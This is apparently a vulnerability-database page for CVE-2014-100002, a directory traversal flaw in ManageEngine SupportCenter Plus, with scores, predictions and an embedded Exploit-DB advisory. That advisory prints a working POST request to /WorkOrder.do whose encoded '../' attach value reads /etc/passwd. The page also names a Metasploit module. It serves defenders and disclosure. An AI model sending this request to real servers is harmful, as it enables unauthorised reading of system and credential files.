CVE-2014-100002

medium

Published 2015-01-13 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in ManageEngine SupportCenter Plus 7.9 before 7917 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the attach parameter to WorkOrder.do in the file attachment for a new ticket.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-31262 webapps php text · 2 KB

xistence · 2014-01-29

ManageEngine Support Center Plus 7916 - Directory Traversal

text exploit Source: Exploit-DB

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Author:
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xistence < xistence[at]0x90[.]nl >

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Affected products:
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ManageEngine Support Center Plus 7916 and lower

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Affected vendors:
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ManageEngine
http://www.manageengine.com/

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Product description:
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SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

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Details:
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[ 0x01 - Directory Traversal ]

Support Center Plus 7916 and lower is prone to a directory traversal
vulnerability. When creating a ticket and attaching
a file, this can be tampered to link to a local file on the server side.
By downloading the attachment from the ticket, the server file is
downloaded with the same privileges as the
Support Center Plus instance, which on windows is SYSTEM. On linux Support
Center Plus is mostly installed as the root user.

POST parameters when submitting a ticket to the /WorkOrder.do url and
attaching the server /etc/passwd:

category=&MOD_IND=WorkOrder&attachments=passwd&subCategory=0&addWO=addWO&title=pwned&attPath=
&component=Request&reqTemplate=&reqName=Guest&priority=2&item=0&reqID=2&attSize=31337&autoCCList=
&FORMNAME=WorkOrderForm&usertypename=Requester
&attach=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&prodId=0&description=pwned


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Solution:
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Upgrade to a build higher than 7916.

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Timeline:
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Fixed somewhere back in 2013 :)

Metasploit modules

auxiliary_scanner/http/support_center_plus_directory_traversal rank 300

ManageEngine Support Center Plus Directory Traversal

Source code queued for fetch — refresh in a moment.

Application impact

Vendor	Product	Versions	Fixed
zohocorp	manageengine_supportcenter_plus	`{"endIncluding":"7.9"}`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.